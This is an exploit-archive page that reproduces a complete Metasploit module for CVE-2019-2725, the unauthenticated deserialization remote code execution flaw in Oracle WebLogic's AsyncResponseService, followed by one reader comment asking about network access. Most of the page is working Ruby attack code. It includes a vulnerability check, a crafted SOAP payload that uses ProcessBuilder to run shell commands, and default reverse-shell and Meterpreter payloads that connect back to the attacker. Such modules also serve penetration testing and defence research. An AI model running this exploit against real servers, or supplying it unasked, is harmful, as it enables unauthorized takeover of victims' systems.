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Oracle Weblogic Server Deserialization Remote Code Execution

Oracle Weblogic Server Deserialization Remote Code Execution
Posted May 7, 2019
Authored by Andres Rodriguez | Site metasploit.com

An unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a malicious SOAP request to the interface WLS AsyncResponseService to execute code on the vulnerable host.

tags | exploit
advisories | CVE-2019-2725
MD5 | 48d582e1324b4c48af0827e0f09bf82e

Oracle Weblogic Server Deserialization Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - AsyncResponseService ',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
interface can send a malicious SOAP request to the interface WLS AsyncResponseService
to execute code on the vulnerable host.
},
'Author' =>
[
'Andres Rodriguez - 2Secure (@acamro) <acamro[at]gmail.com>', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2019-2725'],
['CNVD-C', '2019-48814'],
['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'],
['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html']
],
'Privileged' => false,
'Platform' => %w{ unix win solaris },
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_bash'}
],
[ 'Windows',
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
],
[ 'Solaris',
'Platform' => 'solaris',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'WfsDelay' => 12
},
'DisclosureDate' => 'Apr 23 2019'))

register_options(
[
Opt::RPORT(7001),
OptString.new('URIPATH', [false, 'URL to the weblogic instance (leave blank to substitute RHOSTS)', nil]),
OptString.new('WSPATH', [true, 'URL to AsyncResponseService', '/_async/AsyncResponseService'])
]
)
end

def check
res = send_request_cgi(
'uri' => normalize_uri(datastore['WSPATH']),
'method' => 'POST',
'ctype' => 'text/xml',
'headers' => {'SOAPAction' => '' }
)

if res && res.code == 500 && res.body.include?("<faultcode>env:Client</faultcode>")
vprint_status("The target returned a vulnerable HTTP code: /#{res.code}")
vprint_status("The target returned a vulnerable HTTP error: /#{res.body.split("\n")[0]}")
Exploit::CheckCode::Vulnerable
elsif res && res.code != 202
vprint_status("The target returned a non-vulnerable HTTP code")
Exploit::CheckCode::Safe
elsif res.nil?
vprint_status("The target did not respond in an expected way")
Exploit::CheckCode::Unknown
else
vprint_status("The target returned HTTP code: #{res.code}")
vprint_status("The target returned HTTP body: #{res.body.split("\n")[0]} [...]")
Exploit::CheckCode::Unknown
end
end

def exploit
print_status("Generating payload...")
case target.name
when 'Windows'
string0_cmd = 'cmd.exe'
string1_param = '/c'
shell_payload = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encoded: false })
when 'Unix','Solaris'
string0_cmd = '/bin/bash'
string1_param = '-c'
shell_payload = payload.encoded
end

random_action = rand_text_alphanumeric(20)
random_relates = rand_text_alphanumeric(20)

soap_payload = %Q|<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"|
soap_payload << %Q|xmlns:wsa="http://www.w3.org/2005/08/addressing"|
soap_payload << %Q|xmlns:asy="http://www.bea.com/async/AsyncResponseService">|
soap_payload << %Q|<soapenv:Header>|
soap_payload << %Q|<wsa:Action>#{random_action}</wsa:Action>|
soap_payload << %Q|<wsa:RelatesTo>#{random_relates}</wsa:RelatesTo>|
soap_payload << %Q|<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">|
soap_payload << %Q|<void class="java.lang.ProcessBuilder">|
soap_payload << %Q|<array class="java.lang.String" length="3">|
soap_payload << %Q|<void index="0">|
soap_payload << %Q|<string>#{string0_cmd}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|<void index="1">|
soap_payload << %Q|<string>#{string1_param}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|<void index="2">|
soap_payload << %Q|<string>#{shell_payload.encode(xml: :text)}</string>|
#soap_payload << %Q|<string>#{xml_encode(shell_payload)}</string>|
soap_payload << %Q|</void>|
soap_payload << %Q|</array>|
soap_payload << %Q|<void method="start"/>|
soap_payload << %Q|</void>|
soap_payload << %Q|</work:WorkContext>|
soap_payload << %Q|</soapenv:Header>|
soap_payload << %Q|<soapenv:Body>|
soap_payload << %Q|<asy:onAsyncDelivery/>|
soap_payload << %Q|</soapenv:Body>|
soap_payload << %Q|</soapenv:Envelope>|

uri = normalize_uri(datastore['WSPATH'])
if uri.nil?
datastore['URIPATH'] = "http://#{RHOST}:#{RPORT}/"
end

print_status("Sending payload...")

begin
res = send_request_cgi(
'uri' => uri,
'method' => 'POST',
'ctype' => 'text/xml',
'data' => soap_payload,
'headers' => {'SOAPAction' => '' }
)
rescue Errno::ENOTCONN
fail_with(Failure::Disconnected, "The target forcibly closed the connection, and is likely not vulnerable.")
end

if res.nil?
fail_with(Failure::Unreachable, "No response from host")
elsif res && res.code != 202
fail_with(Failure::UnexpectedReply,"Exploit failed. Host did not responded with HTTP code #{res.code} instead of HTTP code 202")
end
end
end

Comments (1)

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bernhard

Thanks for this post!

So you have to be on the LAN, right?
What's the port for the interface?

Comment by bernhard
2019-05-09 12:12:46 UTC | Permalink | Reply
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